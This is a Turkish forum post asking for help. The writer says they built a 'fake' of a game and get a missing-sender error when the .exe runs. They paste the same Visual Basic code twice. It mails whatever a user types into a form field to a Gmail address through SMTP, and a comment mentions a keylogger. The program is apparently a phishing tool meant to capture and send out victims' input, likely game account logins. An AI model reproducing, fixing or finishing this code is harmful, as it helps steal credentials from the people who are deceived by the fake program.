Arkadaşlar Ben Bi oyunun fakesini yapdım. Programı .exe olarak kaydettim ancak açdıgımda Bi hata verdi "Kimden veya ,Gönderen alanlarından en az biri gerekli ancak hiçbiri bulunamadı." Böyle bir hata geldi Programın resmi ve Codları;
" Private Sub Form_Load()
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "[email protected]" ' gene gmail olması lazım.
Flds.Item(schema & "sendpassword") = "şifre"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = " [email protected]"
.From = "Mail Post Server"
.Subject = "Mail Geldi" 'kafanıza göre değiştirin keylogger vs.sallayın birşeyler
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub "
Buda Proje ; Dosya.tc - cretsiz, Hzl ve Kolay Dosya Paylam
" Private Sub Form_Load()
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "[email protected]" ' gene gmail olması lazım.
Flds.Item(schema & "sendpassword") = "şifre"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = " [email protected]"
.From = "Mail Post Server"
.Subject = "Mail Geldi" 'kafanıza göre değiştirin keylogger vs.sallayın birşeyler
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub "
Buda Proje ; Dosya.tc - cretsiz, Hzl ve Kolay Dosya Paylam
